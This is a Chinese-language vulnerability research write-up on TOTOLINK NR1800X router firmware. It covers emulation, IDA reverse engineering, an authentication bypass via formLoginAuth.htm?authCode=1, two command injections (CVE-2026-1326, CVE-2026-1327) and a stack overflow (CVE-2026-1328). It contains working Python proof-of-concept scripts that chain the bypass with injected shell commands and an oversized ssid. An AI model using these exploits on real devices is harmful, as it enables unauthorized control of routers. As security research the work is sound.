固件下载与系统模拟

固件:

首先是下载对应版本固件NR1800X_V9.1.0u.6279_B20210910.bin:https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/225/ids/36.html

然后是binwalk解压,接着看busybox架构,发现是mips小端

然后是下载对应镜像 Index of /~aurel32/qemu/mipsel

我是下载这两个

系统模拟

这里是采用tap0+nat模式

现在本地创建

1
2
sudo tunctl -t tap0 -u $(whoami)
sudo ifconfig tap0 192.168.10.1 netmask 255.255.255.0

然后qemu系统启动

1
2
3
4
5
sudo qemu-system-mipsel -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" -nographic \
-net nic -net tap,ifname=tap0,script=no,downscript=no

然后设置ip

1
ifconfig eth0 192.168.10.2 netmask 255.255.255.0

接着互ping一下,然后将squashfs-root打包传送

然后挂载必要文件chroot启动

1
2
3
4
cd squashfs-root/
mount -t proc /proc ./proc
mount -o bind /dev ./dev
chroot . /bin/sh

然后查找http类型文件,发现有三个,.conf是配置文件,所以/usr/sbin/lighttpd -f /lighttp/lighttpd.conf启动,发现报错,把丢失文件夹补上

1
2
3
4
5
6
7
8
9
10
11
12
13
/ # ls
bin etc_ro lib mnt sbin usr
dev home lighttp opt sys var
etc init media proc tmp www
/ # find . -name "*http*"
./usr/sbin/lighttpd
./lighttp
./lighttp/lighttpd.conf
/ # /usr/sbin/lighttpd -f /lighttp/lighttpd.conf
2026-05-14 06:14:37: (server.c.624) opening pid-file failed: /var/run/lighttpd.pid No such file or directory
/ # mkdir -p /var/run /var/log /var/tmp
/ # /usr/sbin/lighttpd -f /lighttp/lighttpd.conf
/ # 2026-05-14 06:15:01: (log.c.97) server started

成功启动了

未授权访问漏洞 (认证绕过)

每次用户登陆成功都会生成session_id,有了这个可以无需用户名和密码就可以登陆路由器

打开wireshark,密码随意输入,抓包,搜索ip.addr == 192.168.10.2 and http.request.method == "GET" or http.request.method == "POST",找到了。账号默认是admin

应答包,看locationLocation: http://192.168.10.2/formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login\r\n,这个意思是访问登录密码部分返回到location

漏洞函数分析

cstecgi.cgi

然后打开IDA逆向分析cstecgi.cgi,搜索formLoginAuth.htm字符,可以定位到sub_42AEEC(int a1)函数

这个函数就是将传入的URL操作,并返回location:http://192.168.10.2/formLoginAuth.htm?authCode=0&userName=admin&goURL=login.html&action=login,然后将其交给lighttpd操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
int __fastcall sub_42AEEC(int a1)
{
。。。设置初始化参数
v31 = 0;
v33 = 0;
Var = websGetVar(a1, "loginAuthUrl", "");获取URL参数
Object = cJSON_CreateObject();创建json对象
v3 = 0;
v37 = v28;
while ( 1 )
{
v5 = v3 + 1;
if ( getNthValueSafe(v3, Var, "&", v26, 1024) == -1 )
break;
if ( getNthValueSafe(0, v26, "=", v27, 128) != -1 && getNthValueSafe(1, v26, "=", v37, 256) != -1 )
{
String = cJSON_CreateString(v37);
cJSON_AddItemToObject(Object, v27, String);
}
v3 = v5;
} 将URL参数转换为json对象
然后就是参数设置
v6 = (const char *)websGetVar(Object, "username", "");
v7 = websGetVar(Object, "password", "");
v8 = (_BYTE *)websGetVar(Object, "http_host", "");
v9 = websGetVar(Object, "flag", &word_4370EC);
v10 = websGetVar(Object, "verify", &word_4370EC);获取验证码参数
v11 = atoi(v10);将其转换为整数
v12 = nvram_get_int("wizard_flag");这是路由器配置项的值,配置成功是0
。。。配置成功返回0,不进入if内,直接删去
urldecode(v7, v35);将账号名url解码给予v35
v14 = nvram_safe_get("http_username");路由器用户名
strcpy(v30, v14);v30存的是账号
v15 = nvram_safe_get("http_passwd");
strcpy(v32, v15);v32存的是密码
if ( *v8 )
strcpy(v29, v8);v29存的是host头,就是地址
else
strcpy(v29, v34);
。。。参数上没有verify,所以v11=0,没进去if函数
nvram_set_int_temp("verify_code_flag", 0);
nvram_set_int_temp("tmp_sys_uptime", 0);
v17 = strcmp(v6, v30);
v18 = strcmp(v35, v32) || v17 != 0;
。。。
接下来的if函数就是关键了,账号密码比较验证
if ( !strcmp(v6, v30) && !strcmp(v35, v32)
|| nvram_get_int("ren_qing_style") == 1 && !*(_BYTE *)nvram_safe_get("http_passwd") )
{
。。。都未符合,所以最后执行else
else
{
strcpy(v23, "home.html");
}
nvram_set_int_temp("cloudupg_checktype", 1);
doSystem("lktos_reload %s", "cloudupdate_check 2>/dev/null");
v18 = 1;!!!!!!!!!!重点在这
}
snprintf(v24, 4096, "{\"httpStatus\":\"%s\",\"host\":\"%s\"", "302", v29);
这是写入{"httpStatus":"302","host":"192.168.10.2"
v19 = strlen(v24);
进入else
else
{
snprintf(
&v24[v19],
4096 - v19,
",\"redirectURL\":\"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login\"}",
v29,
v18,
v6,
v23);
}
v24={"httpStatus":"302","host":"192.168.10.2","redirectURL":"http://192.168.10.2/formLoginAuth.htm?authCode=0&userName=admin&goURL=login.html&action=login"}
接下来就是查找v24从总提取redirectURL参数的值也就是http://192.168.10.2/formLoginAuth.htm?authCode=0&userName=admin&goURL=login.html&action=login
v20 = cJSON_Parse(v24);
v21 = (const char *)websGetVar(v20, "redirectURL", "");
puts("HTTP/1.1 302 Redirect to page");
puts("Content-type: text/plain");
puts("Connection: Keep-Alive\nPragma: no-cache\nCache-Control: no-cache");
printf("Location: %s\n\n", v21);
printf("protal page");
return 0;
}

其实到这里已经可以猜到了,账号密码验证成功authcode=1,所以直接构造URL就可以了测试一下发现成功得到session_id了,但是我们接着往下看程序的完整运行情况

然后根据下图可知接下来得到 http://192.168.10.2/formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login,然后lighttpd.conf文本有这样一段话cgi.assign = ( ".htm" => "/usr/sbin/lighttpd" ),意思就是将htm文本交给lighttpd程序处理

lighttpd

userloginAuth

首先是查找字符串,然后找到对应的函数userloginAuth,然后匹配进入Form_Login函数

Form_Login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
int __fastcall Form_Login(int a1, int a2, int a3)
{
。。。
v6 = (char *)inet_ntoa(*(_DWORD *)(a1 + 128));
。。。
v26 = v22;
。。。
v7 = *(_DWORD **)(a1 + 272);存储的是host指针
v14 = 0;
strcpy(v23, *v7);v23存储的是host数据,就是ip
v8 = 0;
if ( !buffer_is_empty(*(_DWORD *)(a1 + 328)) )这个猜测是参数所在位置
{
strncpy(v25, **(_DWORD **)(a1 + 328), 1023);
v28 = &v14;
v30 = &v18;
v27 = v25;
v29 = v20;
v9 = v26;
v10 = 0;
v31 = v17;
while ( 1 )
{
v26 = v10 + 1;
if ( getNthValueSafe(v10, v27, 38, v24, 512) == -1 )
break;
if ( getNthValueSafe(0, v24, 61, v21, 128) != -1 && getNthValueSafe(1, v24, 61, v9, 128) != -1 )
{这里v9存的是每个参数对应的值
if ( strstr(v21, "authCode") )
v8 = atoi(v9);
if ( strstr(v21, "userName") )
strcpy(v31, v9);
if ( strstr(v21, "password") )
strcpy(v30, v9);
if ( strstr(v21, "goURL") )
strcpy(v29, v9);
if ( strstr(v21, "flag") )
strcpy(v28, v9);
}
v10 = v26;
}
}
v20和v14都为0,所以v11 = "home.html"
if ( !v20[0] )
{
if ( strstr(&v14, "ie8") )
{
v11 = "wan_ie.html";
}
else if ( atoi(&v14) == 1 )
{
v11 = "phone/home.html";
}
else
{
v11 = "home.html";
}
strcpy(v20, v11);
}
v8就是authcode的值
if ( v8 )
{
fbss = 0;
do
{
v13 = time(0);
if ( !ws_get_cookie(a1, "SESSION_ID", v16, 0) && form_get_idx_by_sessionid(&fl_sess, v13, v16) != -1 )这个是验证url中是否有session_id并且判断其是否有效
{
sprintf(a2, "http://%s/%s?timestamp=%ld", v23, v20, v13);
return 1;
}
由于上面未进入if,所以v15存的是timestamp的值:2
sprintf(v15, "%ld:%d", v13, 2);
sprintf(v19, "%d:%s", 2, v15);v19存的是2:(timestamp):2
}
while ( form_get_idx_by_sessionid(&fl_sess, v13, v19) != -1 );这个是检查新生成的session_id(v19)是否被占用,被占用返回-1
if ( !v6 )v6是host参数
v6 = "";
if ( form_add_session(&fl_sess, &fl_sess_bak, -1, v17, v6, v19, 2, v13) )这个是将新生成的session_id添加到服务器中
{
ws_set_cookie(a3, "SESSION_ID", v19, 0, "/", 0);告知浏览器保存session_id,这样子下次登录可以辨认身份,保存给a3
sprintf(a2, "http://%s/%s?timestamp=%ld", v23, v20, v13);a2=http://192.168.10.2/home.html?timestamp=v13
return 0;
}
。。。。

然后看checkLoginUser函数,location是http://192.168.10.2/home.html?timestamp=v13,此时请求头会自动带上cookie,所以登录成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __fastcall checkLoginUser(int a1, int a2)
{
int *v4; // $s0
int v5; // $s2
int v6; // $s3
int result; // $v0
int v8; // $v0
int idx_by_sessionid; // $v0
_BYTE v10[20]; // [sp+18h] [-158h] BYREF
_BYTE v11[64]; // [sp+2Ch] [-144h] BYREF
char v12[260]; // [sp+6Ch] [-104h] BYREF

memset(v12, 0, 256);
v4 = (int *)v10;
memcpy(v10, &off_439264, sizeof(v10));
v5 = time(0);
while ( 1 )
{
v8 = *v4++; v8是一个白名单,存的是.html文件,这里不用绕过
。。。
}
strcpy(v12, **(_DWORD **)(a1 + 272));
重点在这里,a1中的cookie已经含有了session_id,所以此时可以通过if判断,a2=http://192.168.10.2/index.html
if ( ws_get_cookie(a1, "SESSION_ID", v11, 0)
|| (idx_by_sessionid = form_get_idx_by_sessionid(&fl_sess, v5, v11), idx_by_sessionid == -1) )
{
sprintf(a2, "http://%s/index.html", v12);
return 1;
}
}

漏洞执行流程

总的来说,a1应该是请求头,a2是location,a3是响应头

正常情况下是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
用户在登录页面输入用户名/密码

点击登录按钮

POST /cgi-bin/cstecgi.cgi

【这个函数】执行验证

验证成功 → 返回 URL 包含 authCode=1
验证失败 → 返回 URL 包含 authCode=0

浏览器跳转到 formLoginAuth.htm?authCode=X

lighttpd 的 Form_Login 函数根据 authCode 创建 Session

但是我们可以通过直接访问http://192.168.10.2/formLoginAuth.htm?authCode=1&action=login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌─────────────────────────────────────────────────────────────────────────────────┐
1. lighttpd 接收请求 │
│ 请求: GET /formLoginAuth.htm?authCode=1&action=login │
│ ↓ │
│ 发现是 .htm 文件,调用 userloginAuth() │
└─────────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────────┐
2. userloginAuth() 函数 │
│ 检查 URI 包含 "formLoginAuth.htm"
│ ↓ │
│ 调用 Form_Login() 处理 │
└─────────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────────┐
3. Form_Login() 函数 【漏洞核心】 │
│ ↓ │
│ 解析 URL 参数: authCode=1 → v8 = 1
│ ↓ │
if ( v8 ) { // 条件成立 │
│ 生成 SESSION_ID = "2:1769496816:2"
│ form_add_session() → 添加到 Session 表 │
│ ws_set_cookie() → 设置 Set-Cookie 响应头 │
│ sprintf(a2, "http://192.168.10.2/home.html...") → 设置 Location │
│ } │
└─────────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────────┐
4. lighttpd 返回 HTTP 响应 │
│ HTTP/1.1 302 Redirect │
Set-Cookie: SESSION_ID=2:1769496816:2; path=/ │
│ Location: http://192.168.10.2/home.html?timestamp=1769496816
└─────────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────────┐
5. 浏览器自动跳转到 /home.html,自动携带 Cookie │
│ → 进入管理界面,无需密码! │
└─────────────────────────────────────────────────────────────────────────────────┘

成功了

CVE-2026-1326命令注入

漏洞描述

sub_421c98

可以发现cstecgi.cgi中的sub_421c98函数有这样一段话,简单说就是如果v3符合条件,执行doSystem("echo '%s' > /proc/sys/kernel/hostname", v46),v46是url的hostName参数,那么如果将其构造为' ; echo 'Vulnerability Verified' > /tmp/poc.txt ; '那么执行的就是doSystem("echo '' ; echo 'Vulnerability Verified' > /tmp/poc.txt ; '' > /proc/sys/kernel/hostname", v46),就是执行echo ‘’ ; echo ‘Vulnerability Verified’ > /tmp/poc.txt ; ‘’ > /proc/sys/kernel/hostname这三条指令,可以造成未授权远程代码执行

再往上看,v3要满足!=0,3,4,并且v3是proto的参数,atoi只是将其从字符数字转换为整型

main

首先是Var满足set开头,然后是进行比对,v23存的是当前字符匹配成功指向的函数地址,v27指的是下一个会发生函数地址所在的内存地址,匹配成功就是执行函数,v17是url参数的对象,Var是topicurl所对应的参数值,应该是setWanCfg,对应的函数地址就是sub_421c98

poc编写

首先就是参数构造

1
2
3
4
5
date={
'topicurl':'setWanCfg'
'proto':'2'
'hostName':"' ; echo 'Vulnerability Verified' > /tmp/poc.txt ; '"
}

然后是先访问获取session_id,然后进行漏洞函数操作,其实也可以不用get_session函数,直接curl就可以得到session_id,然后直接打就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import re

TARGET_IP = "192.168.10.2"
BASE_URL = f"http://{TARGET_IP}"
CGI_URL = f"{BASE_URL}/cgi-bin/cstecgi.cgi"
AUTH_BYPASS_URL = f"{BASE_URL}/formLoginAuth.htm?authCode=1&action=login"

def get_session():
response = requests.get(AUTH_BYPASS_URL, timeout=5, allow_redirects=False)
session_id = response.cookies.get("SESSION_ID")
if not session_id:
location = response.headers.get("Location", "")
ts_match = re.search(r"timestamp=(\d+)", location)
if ts_match:
timestamp = ts_match.group(1)
session_id = f"2:{timestamp}:2"
return {"SESSION_ID": session_id} if session_id else None

def execute_cmd_injection(cookies):
target_file = "/tmp/hack_success"
cmd = f"echo 'Vulnerability Verified' > {target_file}"
payload = f"'; {cmd}; '"

data = {
"topicurl": "setWanCfg",
"hostName": payload,
"proto": "2"
}

response = requests.post(CGI_URL, json=data, cookies=cookies, timeout=5)
print(f"[+] 状态码: {response.status_code}")

if __name__ == "__main__":
cookies = get_session()
if cookies:
execute_cmd_injection(cookies)

成功了

CVE-2026-1327命令注入

漏洞描述

根据描述漏洞位于这个位置,对应的函数是sub_420f68

sub_420F68

还有个黑名单

poc

构造就不写了,就和上面一个一样,参数部分改一下就好了,但是这个生成的只是一个空文本,并没有任何别的东西,感觉没什么危害,也有可能是我某个设置出了问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import re

TARGET_IP = "192.168.10.2"
BASE_URL = f"http://{TARGET_IP}"
CGI_URL = f"{BASE_URL}/cgi-bin/cstecgi.cgi"
AUTH_BYPASS_URL = f"{BASE_URL}/formLoginAuth.htm?authCode=1&action=login"

def get_session():
response = requests.get(AUTH_BYPASS_URL, timeout=5, allow_redirects=False)
session_id = response.cookies.get("SESSION_ID")
if not session_id:
location = response.headers.get("Location", "")
ts_match = re.search(r"timestamp=(\d+)", location)
if ts_match:
timestamp = ts_match.group(1)
session_id = f"2:{timestamp}:2"
return {"SESSION_ID": session_id} if session_id else None

def execute_cmd_injection(cookies):
target_file = "/tmp/hack_success"
cmd = f"echo 'Vulnerability Verified' > {target_file}"
payload = f"'; {cmd}; '"

data = {
"topicurl": "setTracerouteCfg",
"command": f"echo 'Exploit Success' > {target_file} #",
"num": "4"
}

response = requests.post(CGI_URL, json=data, cookies=cookies, timeout=5)
print(f"[+] 状态码: {response.status_code}")

if __name__ == "__main__":
cookies = get_session()
if cookies:
execute_cmd_injection(cookies)

CVE-2026-1328栈溢出

漏洞描述

位置在这,对应的是sub_428C84

sub_428C84

很明显的栈溢出漏洞,v49对应的不是stack结构,所以溢出位置是在v77

poc

也没什么好说的,改个参数就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import re

base_url = "http://192.168.10.2"
auth_url = f"{base_url}/formLoginAuth.htm?authCode=1&action=login"
cgi_url = f"{base_url}/cgi-bin/cstecgi.cgi"

def get_session():
try:
res = requests.get(auth_url, timeout=5, allow_redirects=False)
sid = res.cookies.get("SESSION_ID")
if not sid:
location = res.headers.get("Location", "")
match = re.search(r"timestamp=(\d+)", location)
if match:
sid = f"2:{match.group(1)}:2"
return sid
except Exception as e:
print(f"[!] 获取 Session 失败: {e}")
return None

session_id = get_session()

if session_id:
print(f"[*] 成功获取 SESSION_ID: {session_id}")
url = cgi_url
cookie = {"SESSION_ID": session_id}
data = {"topicurl": "setWizardCfg", "ssid": "a" * 0x1000}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)
else:
print("[-] 无法执行后续操作,未获取到有效的 SESSION_ID")

成功了

参考

https://www.iotsec-zone.com/article/530#cve-2026-1326%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5